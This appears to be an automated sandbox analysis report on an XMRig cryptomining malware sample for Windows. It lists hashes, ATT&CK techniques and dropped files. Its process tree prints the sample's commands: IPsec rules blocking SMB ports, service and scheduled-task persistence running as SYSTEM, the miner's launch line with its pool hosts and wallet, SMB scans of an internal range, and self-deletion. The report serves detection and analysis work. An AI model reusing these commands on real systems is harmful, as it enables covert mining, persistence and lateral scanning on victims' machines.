xmrig | c4d49491a43ee26c28633a786a88812b293a3712414ddb5a7bcb81de026d73ee

Analysis

max time kernel
151s
max time network
154s
platform
windows7_x64
resource
win7v20210410
submitted
07-05-2021 13:06

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

aa.exe
Size

28.1MB
MD5

8d9d7f5babe3ee15f2e93a4321fa45cf
SHA1

689d53ae66e75e0b5715c0d04a7cab20e5390790
SHA256

c4d49491a43ee26c28633a786a88812b293a3712414ddb5a7bcb81de026d73ee
SHA512

12e23c78465c65364b00df5685ea8b4e7a3b4ab2832bed18311b535a54ed48d0bd07c8b72474b43dc95893c6dea2261abeaf41c20683c923f43c4562f1bf3c91

Score

10^/10

xmrig miner persistence

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

Processes:

TJZPFV.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\shell = "Explorer.exe C:\\Windows\\uuJCw\\TJZPFV.exe"	TJZPFV.exe

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Detected Stratum cryptominer command
Looks to be attempting to contact Stratum mining pool.
miner

XMRig Miner Payload 7 IoCs

miner

Processes:

resource	yara_rule
\Windows\uuJCw\TJZPFV.exe	xmrig
\Windows\uuJCw\TJZPFV.exe	xmrig
C:\Windows\uuJCw\TJZPFV.exe	xmrig
C:\Windows\uuJCw\TJZPFV.exe	xmrig
\Windows\uuJCw\Ys.exe	xmrig
C:\Windows\uuJCw\Ys.exe	xmrig
\Windows\uuJCw\Ys.exe	xmrig

Creates new service(s) 1 TTPs
persistence

New Service
T1050
Executes dropped EXE 4 IoCs

Processes:

TJZPFV.exeYs.exesvchost.exesvchost.exe

pid process

1772 TJZPFV.exe
1620 Ys.exe
2116 svchost.exe
2192 svchost.exe
Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

1724 cmd.exe
Loads dropped DLL 8 IoCs

Processes:

aa.exeTJZPFV.execmd.execmd.exe

pid process

1996 aa.exe
1996 aa.exe
1772 TJZPFV.exe
1600
2084 cmd.exe
2084 cmd.exe
2156 cmd.exe
2156 cmd.exe

pid	process
1724	cmd.exe

pid	process
1996	aa.exe
1996	aa.exe
1772	TJZPFV.exe
1600
2084	cmd.exe
2084	cmd.exe
2156	cmd.exe
2156	cmd.exe

Drops file in Windows directory 64 IoCs

Processes:

TJZPFV.exeaa.exesvchost.exe

description	ioc	process
File created	C:\Windows\uuJCw\etchCore-0.x64.dll	TJZPFV.exe
File created	C:\Windows\uuJCw\exma-1.dll	TJZPFV.exe
File created	C:\Windows\uuJCw\pcrecpp-0.dll	TJZPFV.exe
File created	C:\Windows\uuJCw\posh-0.dll	TJZPFV.exe
File created	C:\Windows\uuJCw\trch-0.dll	TJZPFV.exe
File created	C:\Windows\uuJCw\trch-1.dll	TJZPFV.exe
File created	C:\Windows\uuJCw\xdvl-0.dll	TJZPFV.exe
File opened for modification	C:\Windows\uuJCw\HOST	TJZPFV.exe
File created	C:\Windows\boy.exe	aa.exe
File created	C:\Windows\uuJCw\Cstr.fb	TJZPFV.exe
File created	C:\Windows\uuJCw\Cstr.xml	TJZPFV.exe
File created	C:\Windows\uuJCw\pcre-0.dll	TJZPFV.exe
File created	C:\Windows\uuJCw\Ys.exe	TJZPFV.exe
File created	C:\Windows\uuJCw\riar.dll	TJZPFV.exe
File created	C:\Windows\uuJCw\trfo-2.dll	TJZPFV.exe
File created	C:\Windows\uuJCw\ucl.dll	TJZPFV.exe
File created	C:\Windows\uuJCw\TJZPFV.exe	aa.exe
File created	C:\Windows\uuJCw\eteb-2.dll	TJZPFV.exe
File created	C:\Windows\uuJCw\libeay32.dll	TJZPFV.exe
File created	C:\Windows\uuJCw\tucl.dll	TJZPFV.exe
File opened for modification	C:\Windows\uuJCw\s.bat	TJZPFV.exe
File created	C:\Windows\uuJCw\qdx.bat	TJZPFV.exe
File created	C:\Windows\uuJCw\crli-0.dll	TJZPFV.exe
File created	C:\Windows\uuJCw\esco-0.dll	TJZPFV.exe
File created	C:\Windows\uuJCw\libxml2.dll	TJZPFV.exe
File created	C:\Windows\uuJCw\zlib1.dll	TJZPFV.exe
File opened for modification	C:\Windows\uuJCw\Result.txt	svchost.exe
File created	C:\Windows\uuJCw\Cstr.exe	TJZPFV.exe
File created	C:\Windows\uuJCw\dmgd-1.dll	TJZPFV.exe
File created	C:\Windows\uuJCw\pcla-0.dll	TJZPFV.exe
File created	C:\Windows\uuJCw\trfo-0.dll	TJZPFV.exe
File created	C:\Windows\uuJCw\svchost.exe	TJZPFV.exe
File created	C:\Windows\uuJCw\tibe.dll	TJZPFV.exe
File created	C:\Windows\uuJCw\tibe-1.dll	TJZPFV.exe
File created	C:\Windows\uuJCw\trfo.dll	TJZPFV.exe
File created	C:\Windows\uuJCw\tucl-1.dll	TJZPFV.exe
File created	C:\Windows\uuJCw\etchCore-0.x86.dll	TJZPFV.exe
File opened for modification	C:\Windows\uuJCw\tscl.html	TJZPFV.exe
File created	C:\Windows\uuJCw\chrome..xml	TJZPFV.exe
File created	C:\Windows\uuJCw\libcurl.dll	TJZPFV.exe
File created	C:\Windows\uuJCw\libiconv-2.dll	TJZPFV.exe
File created	C:\Windows\uuJCw\chrome..exe	TJZPFV.exe
File created	C:\Windows\uuJCw\cnli-0.dll	TJZPFV.exe
File created	C:\Windows\uuJCw\coli-0.dll	TJZPFV.exe
File created	C:\Windows\uuJCw\etebCore-2.x64.dll	TJZPFV.exe
File created	C:\Windows\uuJCw\tscl.html	aa.exe
File created	C:\Windows\uuJCw\cnli-1.dll	TJZPFV.exe
File created	C:\Windows\uuJCw\ssleay32.dll	TJZPFV.exe
File created	C:\Windows\uuJCw\TFf	TJZPFV.exe
File opened for modification	C:\Windows\uuJCw\svchost.exe	TJZPFV.exe
File opened for modification	C:\Windows\end.bat	TJZPFV.exe
File created	C:\Windows\uuJCw\etch-0.dll	TJZPFV.exe
File created	C:\Windows\uuJCw\riar-2.dll	TJZPFV.exe
File created	C:\Windows\uuJCw\ip.dll	TJZPFV.exe
File created	C:\Windows\uuJCw\etebCore-2.x86.dll	TJZPFV.exe
File created	C:\Windows\uuJCw\pcreposix-0.dll	TJZPFV.exe
File created	C:\Windows\uuJCw\posh.dll	TJZPFV.exe
File created	C:\Windows\uuJCw\trch.dll	TJZPFV.exe
File created	C:\Windows\uuJCw\iconv.dll	TJZPFV.exe
File created	C:\Windows\uuJCw\zibe.dll	TJZPFV.exe
File created	C:\Windows\end.bat	TJZPFV.exe
File created	C:\Windows\uuJCw\chrome..fb	TJZPFV.exe
File created	C:\Windows\uuJCw\adfw.dll	TJZPFV.exe
File created	C:\Windows\uuJCw\exma.dll	TJZPFV.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

1888 schtasks.exe

pid	process
1888	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

TJZPFV.exe

pid	process
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe
1772	TJZPFV.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

Ys.exe

description pid process

Token: SeLockMemoryPrivilege 1620 Ys.exe
Token: SeLockMemoryPrivilege 1620 Ys.exe
Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

aa.exeTJZPFV.exe

pid process

1996 aa.exe
1996 aa.exe
1772 TJZPFV.exe
1772 TJZPFV.exe

description	pid	process
Token: SeLockMemoryPrivilege	1620	Ys.exe
Token: SeLockMemoryPrivilege	1620	Ys.exe

pid	process
1996	aa.exe
1996	aa.exe
1772	TJZPFV.exe
1772	TJZPFV.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

aa.exeTJZPFV.execmd.execmd.execmd.exe

description	pid	process	target process
PID 1996 wrote to memory of 1772	1996	aa.exe	TJZPFV.exe
PID 1996 wrote to memory of 1772	1996	aa.exe	TJZPFV.exe
PID 1996 wrote to memory of 1772	1996	aa.exe	TJZPFV.exe
PID 1996 wrote to memory of 1772	1996	aa.exe	TJZPFV.exe
PID 1996 wrote to memory of 1724	1996	aa.exe	cmd.exe
PID 1996 wrote to memory of 1724	1996	aa.exe	cmd.exe
PID 1996 wrote to memory of 1724	1996	aa.exe	cmd.exe
PID 1996 wrote to memory of 1724	1996	aa.exe	cmd.exe
PID 1772 wrote to memory of 1104	1772	TJZPFV.exe	cmd.exe
PID 1772 wrote to memory of 1104	1772	TJZPFV.exe	cmd.exe
PID 1772 wrote to memory of 1104	1772	TJZPFV.exe	cmd.exe
PID 1772 wrote to memory of 1104	1772	TJZPFV.exe	cmd.exe
PID 1104 wrote to memory of 272	1104	cmd.exe	netsh.exe
PID 1104 wrote to memory of 272	1104	cmd.exe	netsh.exe
PID 1104 wrote to memory of 272	1104	cmd.exe	netsh.exe
PID 1104 wrote to memory of 272	1104	cmd.exe	netsh.exe
PID 1104 wrote to memory of 1392	1104	cmd.exe	netsh.exe
PID 1104 wrote to memory of 1392	1104	cmd.exe	netsh.exe
PID 1104 wrote to memory of 1392	1104	cmd.exe	netsh.exe
PID 1104 wrote to memory of 1392	1104	cmd.exe	netsh.exe
PID 1104 wrote to memory of 1588	1104	cmd.exe	netsh.exe
PID 1104 wrote to memory of 1588	1104	cmd.exe	netsh.exe
PID 1104 wrote to memory of 1588	1104	cmd.exe	netsh.exe
PID 1104 wrote to memory of 1588	1104	cmd.exe	netsh.exe
PID 1104 wrote to memory of 1296	1104	cmd.exe	netsh.exe
PID 1104 wrote to memory of 1296	1104	cmd.exe	netsh.exe
PID 1104 wrote to memory of 1296	1104	cmd.exe	netsh.exe
PID 1104 wrote to memory of 1296	1104	cmd.exe	netsh.exe
PID 1104 wrote to memory of 1624	1104	cmd.exe	netsh.exe
PID 1104 wrote to memory of 1624	1104	cmd.exe	netsh.exe
PID 1104 wrote to memory of 1624	1104	cmd.exe	netsh.exe
PID 1104 wrote to memory of 1624	1104	cmd.exe	netsh.exe
PID 1772 wrote to memory of 336	1772	TJZPFV.exe	cmd.exe
PID 1772 wrote to memory of 336	1772	TJZPFV.exe	cmd.exe
PID 1772 wrote to memory of 336	1772	TJZPFV.exe	cmd.exe
PID 1772 wrote to memory of 336	1772	TJZPFV.exe	cmd.exe
PID 1772 wrote to memory of 328	1772	TJZPFV.exe	cmd.exe
PID 1772 wrote to memory of 328	1772	TJZPFV.exe	cmd.exe
PID 1772 wrote to memory of 328	1772	TJZPFV.exe	cmd.exe
PID 1772 wrote to memory of 328	1772	TJZPFV.exe	cmd.exe
PID 328 wrote to memory of 292	328	cmd.exe	netsh.exe
PID 328 wrote to memory of 292	328	cmd.exe	netsh.exe
PID 328 wrote to memory of 292	328	cmd.exe	netsh.exe
PID 328 wrote to memory of 292	328	cmd.exe	netsh.exe
PID 336 wrote to memory of 1592	336	cmd.exe	netsh.exe
PID 336 wrote to memory of 1592	336	cmd.exe	netsh.exe
PID 336 wrote to memory of 1592	336	cmd.exe	netsh.exe
PID 336 wrote to memory of 1592	336	cmd.exe	netsh.exe
PID 1104 wrote to memory of 1608	1104	cmd.exe	netsh.exe
PID 1104 wrote to memory of 1608	1104	cmd.exe	netsh.exe
PID 1104 wrote to memory of 1608	1104	cmd.exe	netsh.exe
PID 1104 wrote to memory of 1608	1104	cmd.exe	netsh.exe
PID 336 wrote to memory of 968	336	cmd.exe	netsh.exe
PID 336 wrote to memory of 968	336	cmd.exe	netsh.exe
PID 336 wrote to memory of 968	336	cmd.exe	netsh.exe
PID 336 wrote to memory of 968	336	cmd.exe	netsh.exe
PID 328 wrote to memory of 1328	328	cmd.exe	netsh.exe
PID 328 wrote to memory of 1328	328	cmd.exe	netsh.exe
PID 328 wrote to memory of 1328	328	cmd.exe	netsh.exe
PID 328 wrote to memory of 1328	328	cmd.exe	netsh.exe
PID 1104 wrote to memory of 1632	1104	cmd.exe	netsh.exe
PID 1104 wrote to memory of 1632	1104	cmd.exe	netsh.exe
PID 1104 wrote to memory of 1632	1104	cmd.exe	netsh.exe
PID 1104 wrote to memory of 1632	1104	cmd.exe	netsh.exe

C:\Users\Admin\AppData\Local\Temp\aa.exe
"C:\Users\Admin\AppData\Local\Temp\aa.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1996

C:\Windows\uuJCw\TJZPFV.exe
C:\Windows\uuJCw\TJZPFV.exe
2⤵
- Modifies WinLogon for persistence
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1772

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Windows\end.bat" "
3⤵
- Suspicious use of WriteProcessMemory
PID:1104

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add policy name=ipsec_ply
4⤵
PID:272

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add filterlist name=deny_pt
4⤵
PID:1392

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add filterlist name=allow_pt
4⤵
PID:1588

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add filter filterlist=deny_pt srcaddr=any dstaddr=ME dstport=445 protocol=TCP
4⤵
PID:1296

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add filter filterlist=deny_pt srcaddr=any dstaddr=ME dstport=139 protocol=TCP
4⤵
PID:1624

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add filteraction name=deny action=block
4⤵
PID:1608

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add filteraction name=allow action=negotiate
4⤵
PID:1632

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add rule name=deny policy=ipsec_ply filterlist=deny_pt filteraction=deny
4⤵
PID:1624

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add rule name=allow policy=ipsec_ply filterlist=allow_pt filteraction=allow psk="(@=P#$bV4$"
4⤵
PID:1752

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static set policy name=ipsec_ply assign=y
4⤵
PID:1272

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Windows\end.bat" "
3⤵
- Suspicious use of WriteProcessMemory
PID:336

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add policy name=ipsec_ply
4⤵
PID:1592

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add filterlist name=deny_pt
4⤵
PID:968

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add filterlist name=allow_pt
4⤵
PID:1296

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add filter filterlist=deny_pt srcaddr=any dstaddr=ME dstport=445 protocol=TCP
4⤵
PID:268

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add filter filterlist=deny_pt srcaddr=any dstaddr=ME dstport=139 protocol=TCP
4⤵
PID:968

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add filteraction name=deny action=block
4⤵
PID:1592

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add filteraction name=allow action=negotiate
4⤵
PID:2036

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add rule name=deny policy=ipsec_ply filterlist=deny_pt filteraction=deny
4⤵
PID:1704

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add rule name=allow policy=ipsec_ply filterlist=allow_pt filteraction=allow psk="(@=P#$bV4$"
4⤵
PID:876

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static set policy name=ipsec_ply assign=y
4⤵
PID:1304

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Windows\end.bat" "
3⤵
- Suspicious use of WriteProcessMemory
PID:328

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add policy name=ipsec_ply
4⤵
PID:292

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add filterlist name=deny_pt
4⤵
PID:1328

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add filterlist name=allow_pt
4⤵
PID:1836

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add filter filterlist=deny_pt srcaddr=any dstaddr=ME dstport=445 protocol=TCP
4⤵
PID:1736

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add filter filterlist=deny_pt srcaddr=any dstaddr=ME dstport=139 protocol=TCP
4⤵
PID:1372

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add filteraction name=deny action=block
4⤵
PID:1392

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add filteraction name=allow action=negotiate
4⤵
PID:1628

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add rule name=deny policy=ipsec_ply filterlist=deny_pt filteraction=deny
4⤵
PID:528

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add rule name=allow policy=ipsec_ply filterlist=allow_pt filteraction=allow psk="(@=P#$bV4$"
4⤵
PID:1748

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static set policy name=ipsec_ply assign=y
4⤵
PID:844

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Windows\end.bat" "
3⤵
PID:1736

C:\Windows\SysWOW64\sc.exe
sc.exe Create "Application Layre Gateway Saervice" type= own type= interact start= demand DisplayName= "Can not be deledted" binPath= "cmd.exe /c start "C:\Windows\boy.exe"
3⤵
PID:2036

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Windows\uuJCw\qdx.bat" "
3⤵
PID:360

C:\Windows\SysWOW64\schtasks.exe
schtasks.exe /create /TN "\Microsoft\Windows\UPnP\Services" /RU SYSTEM /TR "C:\Windows\uuJCw\TJZPFV.exe" /SC ONSTART
4⤵
- Creates scheduled task(s)
PID:1888

C:\Windows\uuJCw\Ys.exe
"C:\Windows\uuJCw\Ys.exe" -o stratum+tcp://dns.monerogb.com:6502 -o stratum+tcp://note.monerogb.com:8666 -o stratum+tcp://wk.sdffdasdfsdfaczxfwd53.org:5555 -u 44FaSvDWdKAB2R3n1XUZnjavNWwXEvyixVP8FhmccbNC6TGuCs4R937YWuoewbbSmMEsEJuYzqUwucVHhW73DwXo4ttSdNS -p x -k --donate-level=1
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1620

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Windows\uuJCw\s.bat" "
3⤵
- Loads dropped DLL
PID:2084

C:\Windows\uuJCw\svchost.exe
svchost.exe syn 10.7.0.0 10.7.255.255 445 /save
4⤵
- Executes dropped EXE
PID:2116

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Windows\uuJCw\s.bat" "
3⤵
- Loads dropped DLL
PID:2156

C:\Windows\uuJCw\svchost.exe
svchost.exe tcp 10.7.0.0 10.7.255.255 445 450 /save
4⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:2192

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\aa.exe"
2⤵
- Deletes itself
PID:1724

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-734435346-39989641855249382-1063396119-2998157751948519609179847362-1302738693"
1⤵
PID:1628

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Winlogon Helper DLL

T1004

New Service

T1050

Scheduled Task

T1053

Privilege Escalation

New Service

T1050

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\end.bat
MD5
c017d5f762ae5d67efb7d099b53cca58

SHA1
ab7f8553de7614251d76ce54aaee52f1a35e7ae6

SHA256
d8b897a896d21dfea7d901a57aa9cb5aa17a6bf02db1570a7d856680e3b3847b

SHA512
856dc8f6e94b1211ac84505e1e3350fda32d43583f9ec2e12fa7821c68376278220921cd2bffa9b562d6b0ed09f3dc9f674d830c7475e3d39def48e41563af78

Download Submit
C:\Windows\end.bat
MD5
c017d5f762ae5d67efb7d099b53cca58

SHA1
ab7f8553de7614251d76ce54aaee52f1a35e7ae6

SHA256
d8b897a896d21dfea7d901a57aa9cb5aa17a6bf02db1570a7d856680e3b3847b

SHA512
856dc8f6e94b1211ac84505e1e3350fda32d43583f9ec2e12fa7821c68376278220921cd2bffa9b562d6b0ed09f3dc9f674d830c7475e3d39def48e41563af78

Download Submit
C:\Windows\uuJCw\TJZPFV.exe
MD5
8d9d7f5babe3ee15f2e93a4321fa45cf

SHA1
689d53ae66e75e0b5715c0d04a7cab20e5390790

SHA256
c4d49491a43ee26c28633a786a88812b293a3712414ddb5a7bcb81de026d73ee

SHA512
12e23c78465c65364b00df5685ea8b4e7a3b4ab2832bed18311b535a54ed48d0bd07c8b72474b43dc95893c6dea2261abeaf41c20683c923f43c4562f1bf3c91

Download Submit
C:\Windows\uuJCw\TJZPFV.exe
MD5
8d9d7f5babe3ee15f2e93a4321fa45cf

SHA1
689d53ae66e75e0b5715c0d04a7cab20e5390790

SHA256
c4d49491a43ee26c28633a786a88812b293a3712414ddb5a7bcb81de026d73ee

SHA512
12e23c78465c65364b00df5685ea8b4e7a3b4ab2832bed18311b535a54ed48d0bd07c8b72474b43dc95893c6dea2261abeaf41c20683c923f43c4562f1bf3c91

Download Submit
C:\Windows\uuJCw\Ys.exe
MD5
90f9e1fdec81ccf508fc58f3d23156b5

SHA1
066783e092007d2bcd10e2bbf412269fb9260d3f

SHA256
d7b998957afba18e7f9c27b67692f1b26073250a6cf4187ad578e21925d16018

SHA512
8463ea66cbc997eadcba92a6cf91e19bfe73c31a023a99a5bab128e7485f6470b7a82b08b74d6e93a0e5e7f632920a586b20c3f7fb7cca3899942fa3fd80cc95

Download Submit
C:\Windows\uuJCw\qdx.bat
MD5
6e6a9139b684e136645639df74e75a4d

SHA1
fafd5218df29e76c072ef9a3b07ca4a3644c6e56

SHA256
9bc3a01fbc6452bac705925088c382fedf77735d7487a7def70ee8c2e13dcbf1

SHA512
e3ac2e111b51e76c0eaeb1f93068be94c5544367529dcd843a03a029a25f840841e17bc99cb6dfd2b2f9ffa1bee7e1c2527cbf3a226a3c52a0853b0150f5886e

Download Submit
C:\Windows\uuJCw\s.bat
MD5
b8cacebcbb7894a1de059fe140de994b

SHA1
09de54c289a3686c08592e3bf452c87c4e293cca

SHA256
a34520d5c0b68882195b432a9569322afd106b88873388580e0fc19e4e8c2f4b

SHA512
2cbe04a3d80c9f1ffc85e5208f1ee475b29d3f21de41577dbd048ec27325b86e3ccf4f350634cf9119932353a570056d737b349abfcf35afe449982b2b2e9e35

Download Submit
C:\Windows\uuJCw\s.bat
MD5
9a4d0d81da0d64cacc5309ed15e8279c

SHA1
7cbdfda92416904d615ebcee72069b747d7660b9

SHA256
ae9ad8ef7ec8cc2fb24110be8955dacb57b0cf2d7970d7975b7b471065e169e8

SHA512
e47720421bed83755ba0e28dfd503a08c14ec02ee15b897391fab74491ef5d3ec7b675fdf0c29e4230c8251a4a582335e3be6e2325f1f20fc58c0a6bc52c7115

Download Submit
C:\Windows\uuJCw\svchost.exe
MD5
c097fd043d3cbabcada0878505c7afa5

SHA1
966a60028a3a24268c049ffadbe1a07b83de24ce

SHA256
1328bd220d9b4baa8a92b8d3f42f0d123762972d1dfc4b1fd4b4728d67b01dfc

SHA512
0837c537af0c75d5ce06d3ae6e0c6eefe3901535c908843d3771cd468657bca2e3c103b8a84c7c43f2cf1410782a595151fffc3c78fdc0f81277ed4894397fb0

Download Submit
C:\Windows\uuJCw\svchost.exe
MD5
c097fd043d3cbabcada0878505c7afa5

SHA1
966a60028a3a24268c049ffadbe1a07b83de24ce

SHA256
1328bd220d9b4baa8a92b8d3f42f0d123762972d1dfc4b1fd4b4728d67b01dfc

SHA512
0837c537af0c75d5ce06d3ae6e0c6eefe3901535c908843d3771cd468657bca2e3c103b8a84c7c43f2cf1410782a595151fffc3c78fdc0f81277ed4894397fb0

Download Submit
C:\Windows\uuJCw\svchost.exe
MD5
c097fd043d3cbabcada0878505c7afa5

SHA1
966a60028a3a24268c049ffadbe1a07b83de24ce

SHA256
1328bd220d9b4baa8a92b8d3f42f0d123762972d1dfc4b1fd4b4728d67b01dfc

SHA512
0837c537af0c75d5ce06d3ae6e0c6eefe3901535c908843d3771cd468657bca2e3c103b8a84c7c43f2cf1410782a595151fffc3c78fdc0f81277ed4894397fb0

Download Submit
C:\Windows\uuJCw\svchost.exe
MD5
c097fd043d3cbabcada0878505c7afa5

SHA1
966a60028a3a24268c049ffadbe1a07b83de24ce

SHA256
1328bd220d9b4baa8a92b8d3f42f0d123762972d1dfc4b1fd4b4728d67b01dfc

SHA512
0837c537af0c75d5ce06d3ae6e0c6eefe3901535c908843d3771cd468657bca2e3c103b8a84c7c43f2cf1410782a595151fffc3c78fdc0f81277ed4894397fb0

Download Submit
C:\Windows\uuJCw\tscl.html
MD5
a6dacfa9348a440ca548521adb203fc8

SHA1
30fbc2dc87c76aa9fafe50bffee4b75b409848bf

SHA256
1a017f645e6b058cffbd4e75e745915bd30d78b58bf7cae18efd654f53613b93

SHA512
e2b8b0c3f3157a4df70efc4ec444e039b03f3041d697e8b600487df35b428c2467c0ccc132c4cc6b2accb9734dd948c701a468415b12a11dda8aacfa7a9ab08c

Download Submit
\Windows\uuJCw\TJZPFV.exe
MD5
8d9d7f5babe3ee15f2e93a4321fa45cf

SHA1
689d53ae66e75e0b5715c0d04a7cab20e5390790

SHA256
c4d49491a43ee26c28633a786a88812b293a3712414ddb5a7bcb81de026d73ee

SHA512
12e23c78465c65364b00df5685ea8b4e7a3b4ab2832bed18311b535a54ed48d0bd07c8b72474b43dc95893c6dea2261abeaf41c20683c923f43c4562f1bf3c91

Download Submit
\Windows\uuJCw\TJZPFV.exe
MD5
8d9d7f5babe3ee15f2e93a4321fa45cf

SHA1
689d53ae66e75e0b5715c0d04a7cab20e5390790

SHA256
c4d49491a43ee26c28633a786a88812b293a3712414ddb5a7bcb81de026d73ee

SHA512
12e23c78465c65364b00df5685ea8b4e7a3b4ab2832bed18311b535a54ed48d0bd07c8b72474b43dc95893c6dea2261abeaf41c20683c923f43c4562f1bf3c91

Download Submit
\Windows\uuJCw\Ys.exe
MD5
90f9e1fdec81ccf508fc58f3d23156b5

SHA1
066783e092007d2bcd10e2bbf412269fb9260d3f

SHA256
d7b998957afba18e7f9c27b67692f1b26073250a6cf4187ad578e21925d16018

SHA512
8463ea66cbc997eadcba92a6cf91e19bfe73c31a023a99a5bab128e7485f6470b7a82b08b74d6e93a0e5e7f632920a586b20c3f7fb7cca3899942fa3fd80cc95

Download Submit
\Windows\uuJCw\Ys.exe
MD5
90f9e1fdec81ccf508fc58f3d23156b5

SHA1
066783e092007d2bcd10e2bbf412269fb9260d3f

SHA256
d7b998957afba18e7f9c27b67692f1b26073250a6cf4187ad578e21925d16018

SHA512
8463ea66cbc997eadcba92a6cf91e19bfe73c31a023a99a5bab128e7485f6470b7a82b08b74d6e93a0e5e7f632920a586b20c3f7fb7cca3899942fa3fd80cc95

Download Submit
\Windows\uuJCw\svchost.exe
MD5
c097fd043d3cbabcada0878505c7afa5

SHA1
966a60028a3a24268c049ffadbe1a07b83de24ce

SHA256
1328bd220d9b4baa8a92b8d3f42f0d123762972d1dfc4b1fd4b4728d67b01dfc

SHA512
0837c537af0c75d5ce06d3ae6e0c6eefe3901535c908843d3771cd468657bca2e3c103b8a84c7c43f2cf1410782a595151fffc3c78fdc0f81277ed4894397fb0

Download Submit
\Windows\uuJCw\svchost.exe
MD5
c097fd043d3cbabcada0878505c7afa5

SHA1
966a60028a3a24268c049ffadbe1a07b83de24ce

SHA256
1328bd220d9b4baa8a92b8d3f42f0d123762972d1dfc4b1fd4b4728d67b01dfc

SHA512
